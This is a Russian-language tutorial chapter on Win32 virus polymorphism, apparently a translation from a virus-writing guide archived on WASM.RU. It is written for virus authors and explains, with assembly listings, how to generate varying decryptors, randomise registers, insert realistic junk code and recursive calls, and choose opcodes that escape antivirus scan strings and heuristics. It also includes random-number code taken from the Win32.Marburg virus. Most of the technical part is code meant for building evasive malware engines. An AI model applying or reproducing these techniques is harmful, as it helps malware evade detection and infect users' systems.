Путеводитель по написанию вирусов под Win32: 9. Win32-полиморфизм — Архив WASM.RU

Все статьи

Путеводитель по написанию вирусов под Win32: 9. Win32-полиморфизм — Архив WASM.RU

Многие люди сказали мне, что самым слабым местом в моем путеводителе под MS-DOS была глава, посвященная полиморфизму (ммм, я написал ее, когда мне было 15, и тогда я знал ассемблер только 1 месяц). По этой причине я решил попытаться написать новую главу абсолютно с нуля. С тех пор я прочел много различных документов о полиморфизме и больше всего меня потряс Qozah'овский. Хотя он очень простой, все концепции полиморфизма, которые необходимы для создания полиморфных движков, объясняются в нем очень хорошо (если вы хотите прочитать его, скачайте DDT#1 с какого-нибудь хорошего VX-сайта). В некоторых частях этой главы я буду делать пояснения для полных ламеров, поэтому если у вас уже есть основные знания, пропустите их!

Введение

Основная причина существования полиморфизма - это, как обычно, существование антивирусов. Во времена, когда не было полиморфных движков, антивирусы использовали простую сканстроку для обнаружения вирусов и самое великое, что тогда было - это зашифрованные вирусы. В один день у одного вирмейкера родилась замечательная идея. Я уверен, что он подумал: "Почему бы не сделать несканируемый, по крайней мере нынешними (т.е. тогдашними - прим. пер.) средствами"?. Так родился полиморфизм. Полиморфизм является попыткой убрать все повторяющиеся байты в единственной части зашифрованного вируса, которая может быть просканирована: в декрипторе. Да, полиморфизм означает построение изменяющихся раз от раза декриптор вируса. Хех, просто и эффективно. Это основная концепция: никогда не строить два одинаковых расшифровщика (в идеале), но выполнять одно и то же действие. Это естественное расширение техники шифрования: декрипторы недостаточно коротки, чтобы нельзя было использовать сканстроку, но с полиморфизмом она становится бесполезна.

Уровни полиморфизма

У каждого уровня полиморфизма есть свое имя, данное ему людьми из AV-индустрии. Давайте посмотрим небольшую цитату из AVPVE.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Существует система деления полиморфных вирусов на уровни, согласно сложности кода декриптора этих вирусов. Эта система была представлена д-ром Аланом Соломоном, а затем улучшена Весселином Бонтчевым.

Уровень 1: У вируса есть набор декрипторов с постоянным кодом, один из которых выбирается при заражении. Такие вирусы называеются "полуполиморфными" или "олигоморфными".

Примеры: "Cheeba", "Slovakia", "Whale".

Уровень 2: декриптор вируса содержит одну или более постоянную инструкцию, остальное изменяется.

Уровень 3: декриптор содержит неиспользуемые функции - "мусор", такой как NOP, CLI, STI и так далее.

Уровень 4: декриптор использует равнозначные инструкции и изменяет их порядок. Алгоритм расшифровки остается неизменным.

Уровень 5: используются все вышеперечисленные техники, алгоритм расшифровки меняется, возможно неоднократное шифрование кода вируса и даже частичное шифрование кода декриптора.

Уровень 6: пермутирующие вирусы. Основной код вируса также меняется, он поделен на блоки, которые меняют свое местоположение при заражении. При этом вирус продолжает работать. Некоторые вирусы могут быть незашифрованны.

У такого разделения есть свои недостатки, так как основной критерий - это возможность детектирования вируса согласно коду генератора с помощью условной техники вирусных масок:

Уровень 1: чтобы обнаружить вирус достаточно иметь несколько масок

Уровень 2: обнаружение вируса производится с помощью маски, используя "wild card'ы".

Уровень 3: обнаружение вируса производиться с помощью маски после удаления "мусорных" инструкций.

Уровень 4: маска содержит несколько версий возможного кода, то есть он становится алгоритмичным

Уровень 5: невозможность обнаружения вируса с помощью масок.

Недостаточность такого деления продемонстрирована в вирусе третьего уровня полиморфизма, который называется соответствующим образом - "Level3". Этот вирус, будучи одним из самых сложных полиморфных вирусов, попадает в третью категорию, потому что у него постоянный алгоритм расшифровки, предшествуемый большим количеством мусорных инструкций. Тем не менее, в этом вирусе алгоритм генерации мусора близок к совершенству: в коде декриптора можно найти почти все инструкции i8086.

Если делить вирусы на уровни с точки зрения антивирусов, использующие системы автоматической расшифровки кода вирусов (эмуляторов), тогда это деление будет зависеть от сложности кода. Другие техники обнаружения вирусов также возможны, например, расшифровка с помощью основных законов математики и так далее.

Поэтому, на мой взгляд, деление будет более объективным, если кроме вирусной маски в расчет будут приниматься другие параметры.

1. Степерь сложности полиморфного кода (процент всех инструкций процессора, которые можно встретить в коде декриптора) 2. Использование техник антиэмуляции 3. Постоянность алгоритма расшифровки 4. Постоянность размера декриптора

Я не буду объяснять эти вещи более детально, поскольку в результате это заставить вирмейкеров создавать монстров подобного рода.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Ха-ха, Евгений. Я сделаю! ;) Разве не приятно, когда один из AVеров делает чужую работу? :)

Как я могу сделать полиморф?

Во-первых, вы должны представлять себе, как выглядит расшифровщик. Например:

        mov     ecx,virus_size
        lea     edi,pointer_to_code_to_crypt
        mov     eax,crypt_key
 @@1:   xor     dword ptr [edi],eax
        add     edi,4
        loop    @@1

Очень простой пример, да? Ладно, здесь у нас шесть блоков (каждая инструкция - это блок). Представьте, как много у вас возможностей сделать этот код другим:

- Изменять регистры - Изменять порядок первых трех инструкций - Использовать разные инструкции, чтобы делать одно и то же - Вставить ничего не делающие инструкции - Вставить мусор и так далее

Это основная идея полиморфизма. Давайте посмотрим, что может сгенерировать простой полиморфный движок на основе того же декриптора:

        shl     eax,2
        add     ebx,157637369h
        imul    eax,ebx,69
 (*)    mov     ecx,virus_size
        rcl     esi,1
        cli
 (*)    lea     edi,pointer_to_code_to_crypt
        xchg    eax,esi
 (*)    mov     eax,crypt_key
        mov     esi,22132546h
        and     ebx,0FF242569h
 (*)    xor     dword ptr [edi],eax
        or      eax,34548286h
        add     esi,76869678h
 (*)    add     edi,4
        stc
        push    eax
        xor     edx,24564631h
        pop     esi
 (*)    loop    00401013h
        cmc
        or      edx,132h
        [...]

Вы уловили идею? Конечно, поймать антивирусу подобный декриптор не будет слишком трудно (хотя и значительно труднее, чем незащищенный вирус). Здесь можно сделать много улучшений, поверьте мне. Я думаю, что вы уже поняли, что в вашем полимофном движке нам понадобятся разные процедуры: одна для создания "легитимных" инструкций декриптора, а другая - для создания мусора. Это основная идея написания полиморфных движков. С этого момента я попытаюсь объяснить все это настолько хорошо, насколько могу.

Очень важная вещь: ГСЧ

Да, наиболее важная вещь полиморфного движка - это генератор случайных чисел ака ГСЧ. ГСЧ - это кусок кода, который возвращает случайное число. Далее идет пример типичного ГСЧ под DOS, который работает также под Win9X, даже под Ring-3, но не в NT.

 random:
        in      eax,40h
        ret

Это возвратит верхнем слове EAX ноль, а в нижнем - случайное значение. Но это не очень мощный ГСЧ... Нам нужен другой... и это остается на вас. Единственное, что я могу сделать для вас - это помочь вам узнать, насколько мощен ваш генератор с помощью прилагаемой маленькой программы. Она "рипнута" из полезной нагрузки Win32.Marburg (GriYo/29A), и тестирует ГСЧ этого вируса. Конечно, этот код был адаптирован и почищен, так чтобы он легко компилировался и запускался.

;---[ CUT HERE ]-------------------------------------------------------------
;
; Тестировщик ГСЧ
;  ---------------
;
; Если иконки на экране расположены действительно "случайным" образом, значит,
; ГСЧ хороший, но если они сгруппированы в одном участке экрана, или вы
; заметили странную последовательность в расположении иконок на экране, 
; попробуйте другой ГСЧ.
;


        .386
        .model  flat

res_x   equ     800d                            ; Горизонтальное разрешение
res_y   equ     600d                            ; Вертикальное разрешение

extrn   LoadLibraryA:PROC                       ; Все APIs, которые нужны 
extrn   LoadIconA:PROC                          ; тестировщику ГСЧ
extrn   DrawIcon:PROC
extrn   GetDC:PROC
extrn   GetProcAddress:PROC
extrn   GetTickCount:PROC
extrn   ExitProcess:PROC

        .data

szUSER32        db      "USER32.dll",0          ; USER32.DLL ASCIIz-строка

a_User32        dd      00000000h               ; Требуемые переменные
h_icon          dd      00000000h
dc_screen       dd      00000000h
rnd32_seed      dd      00000000h
rdtsc           equ     

        .code

RNG_test:
        xor     ebp,ebp                         ; Вах, я ленив и не удалил
                                                ; индексацию из кода...
                                                ; Есть проблемы?

        rdtsc
        mov     dword ptr [ebp+rnd32_seed],eax

        lea     eax,dword ptr [ebp+szUSER32]
        push    eax
        call    LoadLibraryA

        or      eax,eax
        jz      exit_payload

        mov     dword ptr [ebp+a_User32],eax

        push    32512
        xor     edx,edx
        push    edx
        call    LoadIconA
        or      eax,eax
        jz      exit_payload

        mov     dword ptr [ebp+h_icon],eax

        xor     edx,edx
        push    edx
        call    GetDC
        or      eax,eax
        jz      exit_payload
        mov     dword ptr [ebp+dc_screen],eax

        mov     ecx,00000100h                   ; Помещаем 256 иконок на экран

loop_payload:

        push    eax
        push    ecx
        mov     edx,eax
        push    dword ptr [ebp+h_icon]
        mov     eax,res_y
        call    get_rnd_range
        push    eax
        mov     eax,res_x
        call    get_rnd_range
        push    eax
        push    dword ptr [ebp+dc_screen]
        call    DrawIcon
        pop     ecx
        pop     eax
        loop    loop_payload

exit_payload:
        push    0
        call    ExitProcess

; RNG - Этот пример создан GriYo/29A (смотри Win32.Marburg)
;
; Чтобы проверить валидность вашего RNG, помещайте его код здесь ;)
;

random  proc
        push    ecx
        push    edx
        mov     eax,dword ptr [ebp+rnd32_seed]
        mov     ecx,eax
        imul    eax,41C64E6Dh
        add     eax,00003039h
        mov     dword ptr [ebp+rnd32_seed],eax
        xor     eax,ecx
        pop     edx
        pop     ecx
        ret
random  endp

get_rnd_range proc
        push    ecx
        push    edx
        mov     ecx,eax
        call    random
        xor     edx,edx
        div     ecx
        mov     eax,edx
        pop     edx
        pop     ecx
        ret
get_rnd_range endp

end     RNG_test

;---[ CUT HERE ]-------------------------------------------------------------

Интересно, по крайней мере мне, смотреть за тем, как ведут себя различные арифметические операции :).

Основные концепции полиморфного движка

Я думаю, что вы должны уже знать, то что я собираюсь объяснить, поэтому если вы уже писали полиморфные движки или знаете, как его создать, я рекомендую вам пропустить эту часть.

Ладно, прежде всего мы должны сгенерировать код во временный буфер (обычно где-то в куче), но вы также можете зарезервировать память с помощью функций VirtualAlloc или GlobalAlloc. Мы должны поместить указатель на начало этого буфера, обычно это регистр EDI, так как он используется семейством инструкций STOS. В буфер мы будем помещать байты опкодов. Ок, ок, я приведу небольшой пример.

;---[ CUT HERE ]-------------------------------------------------------------
;
; Silly PER basic demonstrations (I)
;  ----------------------------------
;

        .386                                    ; Blah
        .model  flat

        .data

shit:

buffer  db      00h

        .code

Silly_I:

        lea     edi,buffer       ; Указатель на буфер
        mov     al,0C3h          ; Байт, который нужно записать, находится в AL
        stosb                    ; Записать содержимое AL туда, куда указывает
                                 ; EDI
        jmp     shit             ; Байт, который мы записали, C3, является
                                 ; опкодом инструкции RET, т.е. мы заканчиваем
                                 ; выполнение

end     Silly_I

;---[ CUT HERE ]-------------------------------------------------------------

Скомпилируйте предыдущий исходник и посмотрите, что произойдет. А? Он не делает ничего, я знаю. Но вы видите, что вы сгенерировали код, а не просто написали его в исходнике, и я продемонстрировал вам, что вы можете генерировать код из ничего. Подумайте о возможностях - вы можете генерировать полезный код из ничего в буфер. Это базовая основа полиморфных движков - так и происходит генерация кода расшифровщика. Теперь представьте, что мы хотим закодировать что-нибудь вроде следующего набора инструкций:

        mov     ecx,virus_size
        mov     edi,offset crypt
        mov     eax,crypt_key
 @@1:   xor     dword ptr [edi],eax
        add     edi,4
        loop    @@1

Соответствено, код для генерации декриптора с нуля будет примерно следующим:

        mov     al,0B9h             ; опкод MOV ECX,imm32
        stosb                       ; сохраняем AL, куда указывает EDI
        mov     eax,virus_size      ; Число, которое нужно сохранить
        stosd                       ; сохранить EAX, куда указывает EDI 
        mov     al,0BFh             : опкод MOV EDI,offset32
        stosb                       ; сохраняем AL, куда указывает EDI
        mov     eax,offset crypt    ; 32-х битное сохраняемое смещение
        stosd                       ; сохраняем EAX, куда указывает EDI
        mov     al,0B8h             ; опкод MOV EAX,imm32
        stosb                       ; сохраняем AL, куда указывает EDI
        mov     eax,crypt_key       ; Imm32, который нужно сохранить
        stosd                       ; сохраняем EAX, куда указывает EDI
        mov     ax,0731h            ; опкод XOR [EDI],EAX 
        stosw                       ; сохраняем AX, куда указывает EDI
        mov     ax,0C783h           ; опкод ADD EDI,imm32 (>7F)
        stosw                       ; сохраняем AX, куда указывает EDI
        mov     al,04h              ; Сохраняемый Imm32 (>7F)
        stosb                       ; сохраняем AL, куда указывает EDI
        mov     ax,0F9E2h           ; опкод LOOP @@1
        stosw                       ; сохраняем AX, куда указывает EDI

Ладно, так вы сгенерируете нужный вам код, но, надеюсь, вы поняли, что добавить ничего не делающие инструкции между полезными очень легко. Используется тот же метод. Вы можете поэкспериментировать с однобайтовыми инструкциями, чтобы оценить их возможности.

;---[ CUT HERE ]-------------------------------------------------------------
;
; Silly PER basic demonstrations (II)
;  -----------------------------------
;

        .386                                    ; Blah
        .model  flat

virus_size      equ     12345678h               ; Фальшивые данные
crypt           equ     87654321h
crypt_key       equ     21436587h

        .data

        db      00h

        .code

Silly_II:

        lea     edi,buffer                  ; Указатель на буфер - это код
                                            ; возврата, мы заканчиваем
                                            ; выполнение

        mov     al,0B9h                     ; Опкод MOV ECX,imm32 
        stosb                               ; Сохранить AL, куда указ. EDI
        mov     eax,virus_size              ; Непоср. знач., к-рое нужно сохр.
        stosd                               ; Сохр. EAX, куда указывает EDI 

        call    onebyte

        mov     al,0BFh                     ; Опкод MOV EDI, offset32 
        stosb                               ; Сохр. AL, куда указывает EDI
        mov     eax,crypt                   ; Offset32, который нужно сохранить
        stosd                               ; Сохр. EAX, куда указывает EDI

        call    onebyte

        mov     al,0B8h                     ; MOV EAX,imm32
        stosb                               ; Сохр. AL, куда указывает EDI
        mov     eax,crypt_key
        stosd                               ; Сохр. EAX, куда указывает EDI 

        call    onebyte

        mov     ax,0731h                    ; Опкод XOR [EDI],EAX 
        stosw                               ; Сохр. AX, куда указывает EDI

        mov     ax,0C783h                   ; Опкод ADD EDI,imm32 (>7F)
        stosw                               ; Сохр. AX, куда указывает EDI
        mov     al,04h                      ; Imm32 (>7F), который нужно сохр.
        stosb                               ; Сохр. AL, куда указывает EDI

        mov     ax,0F9E2h                   ; Опкод LOOP @@1
        stosw                               ; Сохр. AX, куда указывает EDI

        ret

random:
        in      eax,40h                     ; Чертов RNG
        ret

onebyte:
        call    random                      ; Получаем случайное число
        and     eax,one_size                ; Сделать его равным [0..7]
        mov     al,[one_table+eax]          ; Получить опкод в AL
        stosb                               ; Сохр. AL, куда указывает EDI
        ret

one_table       label byte                  ; Таблица однобайтных инструкций
        lahf
        sahf
        cbw
        clc
        stc
        cmc
        cld
        nop
one_size        equ     ($-offset one_table)-1

buffer  db      100h dup (90h)              ; Простой буфер

end     Silly_II

;---[ CUT HERE ]-------------------------------------------------------------

Хех, я сделал полиморфизм слабого 3-его уровня, склоняющегося ко 2-ому ;) Йоу! Обмен регистров будет объяснен позже вместе с формированием кодов. Цель этой маленькой подглавы выполнена: вы должны были получить общее представление о том, что мы хотим сделать. Представьте, что вместо однобайтовых инструкций вы используете двухбайтовые, такие как PUSH REG/POP REG, CLI/STI и так далее.

Генерация "настоящего" кода

Давайте взглянем на наш набор инструкций.

        mov     ecx,virus_size                  ; (1)
        lea     edi,crypt                       ; (2)
        mov     eax,crypt_key                   ; (3)
 @@1:   xor     dword ptr [edi],eax             ; (4)
        add     edi,4                           ; (5)
        loop    @@1                             ; (6)

Чтобы выполнить то же самое действие, но с помощью другого кода, можно сделать много разных вещей, и это является нашей целью. Например, первые три инструкции можно сгруппировать другим способом с тем же результатом, поэтому вы можете создать функцию для рандомизации их порядка. И мы можем использовать любой набор регистров без особых проблем. И мы можем использовать вместо loop dec/jnz... И так далее, и так далее...

- Ваш код должен уметь генерировать, например, что-то вроде следующего для выполнения одной простой инструкции. Давайте подумаем насчет первого mov:

        mov     ecx,virus_size

или

        push    virus_size
        pop     ecx

или

        mov     ecx,not (virus_size)
        not     ecx

или

        mov     ecx,(virus_size xor 12345678h)
        xor     ecx,12345678h

и так далее, и так далее...

Все это будет генерироваться с помощью разных опкодов, но будет выполнять одну и ту же работу, а именно - помещать в ECX размер вируса. Конечно, здесь есть миллиард возможностей, потому вы можете использовать огромное количество инструкций для помещения инструкции в регистр. Это требует большого воображения с вашей стороны.

- Другое, что можно сделать - это изменить порядок инструкций. Как я уже сказал раньше, вы можете это сделать без особых проблем, потому что порядок для них не играет роли. Поэтому, вместо набора инструкций 1,2,3 мы легко можем сделать 3,1,2 или 1,3,2 и т.д. Просто дайте волю вашему воображению.

- Также очень важно делать обмен регистров, так как тогда опкоды тоже могут меняться (например, 'MOV EAX, imm32' кодируется как 'B8 imm32', а 'MOV ECX, imm32' кодируется как 'B9 imm32'). Вам следует использовать 3 регистра для декриптора из 7, которые мы можем использовать (никогда не используйте ESP!!!). Например, представьте, что выбрали (случайно) 3 регистра. EDI в качестве базового указателя, EBX в качестве ключа, а ESI - в качестве счетчика; тогда мы можем использовать EAX, ECX, EDX и EBP в качестве мусорных регистров для генерации мусорных инструкций. Давайте посмотрим пример кода, в котором выбираются 3 регистра для генерации нашего декриптора:

 -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
 InitPoly       proc

 @@1:   mov     eax,8                           ; Получить случайный регистр
        call    r_range                         ; EAX := [0..7]

        cmp     eax,4                           ; Это ESP?
        jz      @@1                             ; Если да, получаем другой

        mov     byte ptr [ebp+base],al          ; Сохраняем его
        mov     ebx,eax                         ; EBX = базовый регистр

 @@2:   mov     eax,8                           ; Получаем случайный регистр
        call    r_range                         ; EAX := [0..7]

        cmp     eax,4                           ; Это ESP?
        jz      @@2                             ; Если да, получаем другой

        cmp     eax,ebx                         ; Равен базовому указателю?
        jz      @@2                             ; Если да, получаем другой

        mov     byte ptr [ebp+count],al         ; Сохраняем его
        mov     ecx,eax                         ; ECX = Регистр-счетчик

 @@3:   mov     eax,8                           ; Получаем случайный регистр
        call    r_range                         ; EAX := [0..7]

        cmp     eax,4                           ; Это ESP?
        jz      @@3                             ; Если да, получаем другой

        cmp     eax,ebx                         ; Равен регистру базового указ.?
        jz      @@3                             ; Если да, получаем другой

        cmp     eax,ecx                         ; Равен регистру-счетчику?
        jz      @@3                             ; Если да, получаем другой

        mov     byte ptr [ebp+key],al           ; Сохраняем его

        ret

 InitPoly       endp
 -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Теперь у вас в трех переменных три разных регистра, которые мы можем использовать без особых проблем. С регистром EAX у нас возникнет проблема, не очень большая, но тем не менее. Как вы знаете, некоторые инструкции имеют оптимизированный опкод для работы с этим регистром. Если же вместо этих опкодов использовать обычные, антиэвристик заметит, что инструкция была построена "неправильным" путем, как бы никогда не сделал "настоящий" ассемблер. У вас есть два выхода: если вы все еще хотите использовать EAX в качестве одного из "активных" регистров в вашем код, вам следует учитывать этот момент и генерировать соответствующие опкоды. Либо вы можете просто избегать использования EAX в качестве одного из регистров, использумых в декрипторе, а использовать его только при генерации мусора, применяя оптимизированные опкоды (прекрасным выбором будет построение соответствующей таблицы). Мы рассмотрим это позже. Для игр с мусором я рекомендую использовать маску регистров.

Генерация мусора

Качество мусора на 90% - качество вашего полиморфного движка. Да, я сказал "качество", а не "количество", как вы могли подумать. Во-первых, я покажу вам две возможности, которые у вас есть при написании полиморфного движка:

- Генерирование реалистичного кода, похожего на "законный" код приложения. Например, движки GriYo.

- Генерировать так много инструкций, как это возможно, похожего на поврежденный файл (с использованием сопроцессора). Например, MeDriPoLen Mental Driller'а.

Ок, тогда давай начнет:

¦ Общее для обоих случаев:

- CALL'ы (и CALL'ы внутри CALL'ов внутри CALL'ов...) множеством различных путей - Безусловные переходы

¦ Реалистичность:

"Реалистичное" - это то, что выглядит как настоящее, хотя и может не являться таковым на самом деле. Я хочу задать вам вопрос: что вы подумаете, если увидите огромное количество кода без CALL'ов и JUMP'ов? Что, если после CMP не будет условного перехода? Это практически невозможно, о чем знаем и мы и AV. Поэтом мы должны ументь все эти виды мусорных структур:

- CMP/Условные переходы - TEST/Условные переходы - Всегда использовать оптимизированные опкоды при работе с EAX - Работа с памятью - Генерирование структур PUSH/мусор/POP - Использование очень маленького количества однобайтовых инструкций (если вообще их использовать)

¦ Mental Drillism... гхрм... Поврежденный код выглядит следующим образом:

Декриптор наполнен всякой чепухой, опкодами не похожие на код, ничего не делающими инструкциями сопроцессора и, конечно, используется так много опкодов, как это возможно.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Ладно, теперь я попытаюсь объснить все этапы генерации кода. Во-первых, давайте начнем с того, что относится к CALL'ам и безусловным переходам.

• Что касается первого, это очень просто. Вызов подпрограмм можно осуществить разными путями:

Конечно, вы можете смешивать эти способы, получив, как результат множество способов сделать подпрограмму внутри декриптора. Конечно, вы можете сделать рекурсию (о чем я еще буду говорить в дальнейшем), должны быть CALL'ы внутри других CALL'ов и это все внутри еще одного CALL и так далее... Уфф. Сплошная головная боль.

Между прочим, будет неплохо сохранять смещения некоторых из этих процедур и вызывать их где-нибудь в сгенерированном коде.

• Безусловные переходы - это тоже очень легко, так как нам не нужно заботиться об инструкциях между переходом и тем, куда он переходит - туда мы можем вставлять всякий мусор.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Теперь я собираюсь обсудить реалистичность кода. GriYo можно назвать автором лучших движков в этой области; если вы видели движки Marburg'а или HPS, вы поймете, что несмотря на их простоту, GriYo стремится к тому, чтобы код выглядел как можно более настоящим, и это AV бесятся, когда пытаются разработать надежный алгоритм против таких движков. Ок, давайте начнем с основных моментов:

• Со структурой 'CMP/Условный переход' все понятно, потому что никогда не следует использовать сравнение без последующего условного перехода... Ок, но попытайтесь сделать переходы с ненулевым смещением, сгенерируйте какой-нибудь мусор между условным переходом и смещением, куда будет передан контроль (или не будет), и код станет менее подозрительным в глазах анализатора.

• То же самое касается TEST, но использовать следует JZ или JNZ, потому что, как вам известно, TEST влияет только на нулевой флаг.

• Очень легко сделать ошибку при использовании регистров AL/AX/EAX, так как для них существуют специальные оптимизированные опкоды. В качестве примеров могут выступать следующие инструкции:

ADD, OR, ADC, SBB, AND, SUB, XOR, CMP и TEST (Непосредственное значение в регистр).

• Касательно адресов памяти - хорошим выбором будет получить по крайней мере 512 байтовв зараженном файле, поместить их где-инбудь в вирусе и сделать доступными для чтения и записи. Постарайтесь использовать кроме простого индексирования еще и двойное, и если ваш разум может принять это, попытайтесь использовать двойное индексирование с умножением, что-нибудь вроде следующего [ebp+esi*4]. Это не так сложно, как можно подумать, поверьте мне. Вы также можете делать перемещения в памяти с помощью инструкции MOVS, также используйте STOS, LODS, CMPS... Можно использовать все строковые операции, все зависит от вас.

• Структуры PUS/TRASH/POP очень полезны, потому что их легко добавить в движок, и они дают хорошие результаты, в то время как это нормальная структура в законопослушной программе.

• Если количество однобайтных инструкций слишком велико, это может выдать наше присутствие AV или люботному человеку. Учтите, что нормальные программы используют их не так часто, поэтому вполне возможно, что лучше добавить проверку для того, чтобы избежать их чрезмерного использования (мне кажется, что примлимым соотношением будет 1 однобайтовая инструкция на каждые 25 байтов).

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Дальше идет немного менталдриллизма :).

• Вы можете использовать следующие 2-х байтовые инструкции сопроцессора в качестве мусора без каких-либо проблем:

f2xm1, fabs, fadd, faddp, fchs, fnclex, fcom, fcomp, fcompp, fcos, fdecstp, fdiv, fdivp, fdivr, fdivrp, ffree, fincstp, fld1, fldl2t, fldl2e, fldpi, fldln2, fldz, fmul, fmulp, fnclex, fnop, fpatan, fprem, fprem1, fptan, frndint, fscale, fsin, fsincos, fsqrt, fst, fstp, fsub, fsubp, fsubr,fsubrp, ftst, fucom, fucomp, fucompp, fxam, fxtract, fyl2x, fyl2xp1.

Просто поместите в начало вируса эти две инструкции, чтобы сбросить сопроцессор:

        fwait
        fninit

Генерация инструкций

Вероятно, это самое важное в полиморфизме: отношения, существующие между одной и той же инструкции с разными регистрами или между разными инструкциями одного семейства. Отношения между ними становятся понятными, если мы преобразуем значения в двоичный формат. Но сначала немного полезной информации:

Я думаю, что моя главная ошибка во время написания моего предыдущего путеводителя заключалась в той части, где я описывал структуру опкодов и тому подобное. Поэтому сейчас я объясню часть того, что вам придется делать самим, так же, как когда я писал свой полиморфный движок. Возьмем в качестве примера опкод XOR...

        xor     edx,12345678h -> 81 F2 78563412
        xor     esi,12345678h -> 81 F6 78563412

Видите различие? Я пишу инструкции, которые мне нужны, использую дебуггер и смотрю, что изменяется раз от раза. Вы можете видеть, что изменился второй байт. Теперь самая забавная часть: переведите эти значения в двоичную форму.

        F2 -> 11 110 010
        F6 -> 11 110 110

Видите, что изменилось? Последние три бита, верно? Ок, теперь переходим к регистрам. Как вы поняли, изменяются три последних бита согласно используемому регистру. Итак...

        010 -> EDX 
        110 -> ESI

Просто попытайтесь поместить другое двоичное значение в эти три бита и вы увидите, как изменяется регистр. Но будьте осторожны... не используйте значение EAX (000) с этим опкодом, так как и у всех арифметических операций, у xor есть специальный опкод, оптимизированный для EAX. Кроме того, если вы используете такое значение регистра, эвристик запомнит это (хотя этот опкод будет прекрасно работать).

Поэтому отлаживайте то, что хотите сгенерировать, изучайте взаимоотношения между ними и стройте надежный код для генерирования чего бы то ни было. Это очень легко!

Рекурсивность

Это один из важнейших моментов вашего полиморфного движка. Рекурсия должна иметь ограничение, но в зависимости от этого ограничения отлаживать код будет гораздо труднее (если лимит достаточно высок). Давайте представим, что у нас есть таблица со всеми смещениями всех генераторов мусора:

 PolyTable:
        dd      offset (GenerateMOV)
        dd      offset (GenerateCALL)
        dd      offset (GeneratteJMP)
        [...]
 EndPolyTable:

И представьте, что у вас есть следующая процедура для выбора между ними:

 GenGarbage:
        mov     eax,EndPolyTable-PolyTable
        call    r_range
        lea     ebx,[ebp+PolyTable]
        mov     eax,[ebx+eax*4]
        add     eax,ebp
        call    eax
        ret

Представьте, что внутри процедуры 'GetGarbage' вызываются инструкции, генерирующие вызовы, а внутри них снова вызывается 'GenGarbage', а внутри нее снова вызывается 'GenerateCALL' и снова, и снова (в зависимости от вашего ГСЧ), поэтом у вас будут CALL'ы внутри CALL'ов внутри CALL'ов... Я сказал ранее, что эта штука с ограничением нужна была для того, чтобы избежать проблем со скоростью, но это можно легко решить с помощью новой процедуры 'GenGarbage':

 GenGarbage:
        inc     byte ptr [ebp+recursion_level]
        cmp     byte ptr [ebp+recursion_level],05 ; <- 5 - это уровень 
        jae     GarbageExit                       ;    рекурсии

        mov     eax,EndPolyTable-PolyTable
        call    r_range
        lea     ebx,[ebp+PolyTable]
        mov     eax,[ebx+eax*4]
        add     eax,ebp
        call    eax

 GarbageExit:
        dec     byte ptr [ebp+recursion_level]
        ret

Таким образом, наш движок сможет сгенерировать огромное количество одурачивающего противника кода, полного вызовов и всего в таком роде ;). Конечно, это также применимо к PUSH и POP :).

Заключение

Ваш полиморфный движок скажет о вас все как о кодере, поэтому я не буду обсуждать это далее. Просто сделайте это сами вместо копирования кода. Только не делайте типичный движок с простой шифрующей операцией и примитивным мусором вроде MOV и т.д. Используйте все ваше воображение. Например, есть много видов вызовов, которые можно сделать: три стиля (что я объяснял выше), а кроме этого, вы можете генерировать кадры стека, PUSHAD/POPAD, передавать параметры им через PUS (а после использовать RET x) и много другое. Будьте изобретательны!

2002-2013 (c) wasm.ru